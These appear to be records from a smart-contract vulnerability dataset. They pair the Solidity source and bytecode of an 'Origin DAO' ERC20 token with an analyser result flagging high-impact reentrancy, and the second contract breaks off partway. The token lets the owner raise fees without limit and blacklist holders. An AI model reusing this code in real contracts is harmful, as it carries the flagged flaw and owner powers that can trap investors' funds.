function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ORIGINDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Origin DAO";
string private constant _symbol = "BASE58";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xfA9BBFfed8f1Bc08096A78C9Dc26583C660266eb);
address payable private _marketingAddress = payable(0xfA9BBFfed8f1Bc08096A78C9Dc26583C660266eb);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000000 * 10**9;//0.3%
uint256 public _maxWalletSize = 600000000 * 10**9;//0.6%
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b357600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611958565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600a8152694f726967696e2044414f60b01b60208201525b60405161023a9190611a1d565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a72565b61069d565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5068056bc75e2d631000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611a9e565b6106b4565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601554610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611adf565b61071d565b34801561036f57600080fd5b506101fc61037e366004611b0c565b610768565b34801561038f57600080fd5b506101fc6107b0565b3480156103a457600080fd5b506102c36103b3366004611adf565b6107fb565b3480156103c457600080fd5b506101fc61081d565b3480156103d957600080fd5b506101fc6103e8366004611b27565b610891565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611adf565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610293565b34801561045a57600080fd5b506101fc610469366004611b0c565b6108c0565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600681526508482a68a6a760d31b602082015261022d565b3480156104bf57600080fd5b506101fc6104ce366004611b27565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b40565b610937565b3480156104ff57600080fd5b5061026361050e366004611a72565b610975565b34801561051f57600080fd5b5061026361052e366004611adf565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b72565b6109d6565b34801561058457600080fd5b506102c3610593366004611bf6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b27565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611adf565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c2f565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c64565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c90565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611da8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c2f565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c2f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c2f565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c2f565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c2f565b60005b82811015610a71578160056000868685818110610a2257610a22611c64565b9050602002016020810190610a379190611adf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c90565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c2f565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c2f565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611ca9565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611462565b600081848411156112145760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611cc1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d5611490565b90506112e183826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c64565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611cd8565b816001815181106113c0576113c0611c64565b6001600160a01b0392831660209182029290920101526014546113e69130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141f908590600090869030904290600401611cf5565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146f5761146f6114f5565b61147a848484611523565b80610a7157610a71600e54600c55600f54600d55565b600080600061149d61161a565b90925090506114ac82826114b3565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115055750600d54155b1561150c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115358761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156790876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115969086611729565b6001600160a01b0389166000908152600260205260409020556115b881611788565b6115c284836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160791815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061163682826114b3565b8210156116535750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611d66565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b7611490565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117368385611ca9565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611792611490565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b3565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826000036118ad575060006106ae565b60006118b98385611d88565b9050826118c68583611d66565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195381611933565b919050565b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a961191d565b8060051b604051601f19603f830116810181811085821117156119ce576119ce61191d565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a0285611948565b845293850193928501926119f1565b98975050505050505050565b600060208083528351808285015260005b81811015611a4a57858101830151858201604001528201611a2e565b81811115611a5c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8557600080fd5b8235611a9081611933565b946020939093013593505050565b600080600060608486031215611ab357600080fd5b8335611abe81611933565b92506020840135611ace81611933565b929592945050506040919091013590565b600060208284031215611af157600080fd5b81356112e181611933565b8035801515811461195357600080fd5b600060208284031215611b1e57600080fd5b6112e182611afc565b600060208284031215611b3957600080fd5b5035919050565b60008060008060808587031215611b5657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8757600080fd5b833567ffffffffffffffff80821115611b9f57600080fd5b818601915086601f830112611bb357600080fd5b813581811115611bc257600080fd5b8760208260051b8501011115611bd757600080fd5b602092830195509350611bed9186019050611afc565b90509250925092565b60008060408385031215611c0957600080fd5b8235611c1481611933565b91506020830135611c2481611933565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca257611ca2611c7a565b5060010190565b60008219821115611cbc57611cbc611c7a565b500190565b600082821015611cd357611cd3611c7a565b500390565b600060208284031215611cea57600080fd5b81516112e181611933565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d455784516001600160a01b031683529383019391830191600101611d20565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da257611da2611c7a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c3ed81d6c78b28813bab82f8cd539319f1f4c3ae5b7466f54bc8b74d3e58c7464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,782 |
0xf105b9b25ccb6f3483be543b6c7f5976623613cb
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
